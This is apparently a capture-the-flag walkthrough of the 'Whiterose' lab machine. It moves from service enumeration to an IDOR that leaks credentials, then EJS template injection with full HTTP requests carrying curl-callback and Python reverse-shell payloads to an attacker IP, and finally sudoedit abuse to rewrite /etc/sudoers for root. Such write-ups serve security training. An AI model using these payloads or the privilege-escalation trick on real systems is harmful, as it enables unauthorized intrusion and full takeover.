| Machine name | OS | IP | Difficulty |
|---|---|---|---|
| Whiterose | Linux | 10.10.127.152 | Easy |
User
- Check Whether the Host Is Responding
First, let's verify that we can reach the host using a simple ping command:
└─# ping 10.10.127.152
PING 10.10.127.152 (10.10.127.152) 56(84) bytes of data.
64 bytes from 10.10.127.152: icmp_seq=68 ttl=61 time=620 ms
64 bytes from 10.10.127.152: icmp_seq=69 ttl=61 time=577 ms
- Check the Running Services
Let's check all running services and their versions using the nmap command:
└─# nmap -sV -sC 10.10.127.152 -Pn
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.127.152
Host is up (0.66s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
| 256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_ 256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.83 seconds
-sV- Retrieve services running on the ports along with their versions.-sC- Try default scripts.-Pn- Skip the host discovery (ping), as it was already confirmed in the initial step.
The output indicates that there are two running services with open ports.
- Port
22- SSH - OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0). - Port
80- HTTP - nginx 1.14.0 (Ubuntu).
The operating system of the machine is currently unknown, but it is likely Linux (Ubuntu) based on the presence of SSH and Apache. This will be verified later.
- Analyze the Web Application
└─# whatweb http://10.10.127.152
http://10.10.127.152 [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.155.19], Script, nginx[1.14.0]
The whatweb tool helps identify the technologies used in the development of the web application.
- nginx 1.14.0 - HTTP server.
| NOTE: The programming language used is unknown.
Upon accessing the page, we are redirected to http://cyprusbank.thm:
└─# curl 10.10.127.152
<script>
location.href="http://cyprusbank.thm"
</script>
We need to edit the /etc/hosts file and add an entry.
10.10.127.152 cyprusbank.thm
Then, we can access the main page.
There is nothing interesting, so we need to look for something valuable. Let's identify a subdomain or fuzz the paths.
Fuzzing paths with feroxbuster did not yield any results:
By enumerating subdomains (using ffuf, we may discover something interesting:
A subdomain, admin.cyprusbank.thm, was found; let's add it to /etc/hosts:
10.10.127.152 admin.cyprusbank.thm
We now have access to a login page:
According to the introduction, we can use the credentials Olivia Cortez:olivi8 to log in to the web application:
- Escalate Privileges
After analyzing the application, I discovered an IDOR vulnerability that allows us to read messages sent by other users. By accessing http://admin.cyprusbank.thm/messages/?c=20, we can view more messages than intended.
We can find a username with the password Gayle Bev:p~]P@5!6;rs558:q. This user appears to be an administrator, granting access to the settings feature:
This feature allows us to change the customer's password. However, after testing a few accounts, I realized that this functionality does not perform any background operations; it simply displays the password value on the webpage.
We can attempt to exploit this feature to identify SSTI. This behavior might also lead to reflected XSS, but in this case, it cannot be used to interact with the server. It could potentially be leveraged to steal another user's cookie (e.g., by sending it via messages), but for now, let's first focus on finding SSTI.
- Exploit SSTI
Since we now know that the web application is running on Express, we can proceed with further testing.
But since we don't know the specific templating engine, we need to determine it.
By sending different parameters with various values, I managed to trigger a server error by removing the password parameter. This error reveals the technologies in use:
The templating engine is EJS.
After researching possible exploits, I found this article - https://eslam.io/posts/ejs-server-side-template-injection-rce/, which explains how to exploit SSTI in EJS templates.
To execute the exploit, we need to find a suitable injection point for the payload:
settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Since the password update request uses POST, let's include it in the body as a third parameter, alongside the username and password.
POST /settings HTTP/1.1
Host: admin.cyprusbank.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
Origin: http://admin.cyprusbank.thm
Connection: keep-alive
Referer: http://admin.cyprusbank.thm/settings
Cookie: connect.sid=s%3AXcAjEPxNOjS7YIHIjPxDB8Kbo6kPjUSL.air0WYjgiTbZHd5%2B2tKe24qaAuYn1j4nijy0LXrmiLI
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=asd&password=asd&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl http://10.4.92.58:18000');s
| NOTE: To verify the payload, we first need to start our local server to capture the requests
python -m http.server 18000
By executing the request above, we can monitor the interaction:
Using this method, we can obtain a reverse shell.
- Reverse Shell
To generate a reverse shell, we can use Reverse Shell Generator. Personally, I prefer using a Python reverse shell:
POST /settings HTTP/1.1
Host: admin.cyprusbank.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
Origin: http://admin.cyprusbank.thm
Connection: keep-alive
Referer: http://admin.cyprusbank.thm/settings
Cookie: connect.sid=s%3AXcAjEPxNOjS7YIHIjPxDB8Kbo6kPjUSL.air0WYjgiTbZHd5%2B2tKe24qaAuYn1j4nijy0LXrmiLI
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=asd&password=asd&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.4.92.58\',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\'sh\')"');s
| NOTE: Before executing the request above, we need to start a listener
nc -nvlp 8888
Now, we have a shell. However, we can improve it further by executing:
python3 -c 'import pty;pty.spawn("/bin/bash")'
We have obtained a shell as the web user:
- User Flag
Since we have a shell and the only user inside the home directories is web, this is the user we have access to.
The user flag is located in /home/web/user.txt.
Root
- Checking Sudo Privileges
By checking sudo (root) privileges, we notice something interesting:
web@cyprusbank:~$ sudo -l
sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
We have permission to use sudoedit. We can take advantage of this by modifying the environment variable that determines which editor sudoedit will use.
- Exploit
sudoeditSudo Privileges
To exploit sudoedit, we can use an approach from Exploit Notes:
export EDITOR='vim -- /etc/sudoers'
sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
This way, we gain access to the /etc/sudoers file and can edit it as the root user. We can add a line that allows the web user to execute any sudo command without a password.
web ALL=(ALL) NOPASSWD: ALL
Now, we can execute sudo -i to gain root access.
- Root Flag
Since we have root access, we can find the root flag in /root/root.txt.
Assumptions verifications
- Running OS
We assumed, that the running OS is Ubuntu. Let's verify it using the uname -a command and cat /etc/os-release:
web@cyprusbank:~$ uname -a
Linux cyprusbank 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
web@cyprusbank:~$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
Running OS - Ubuntu 18.04.6 LTS.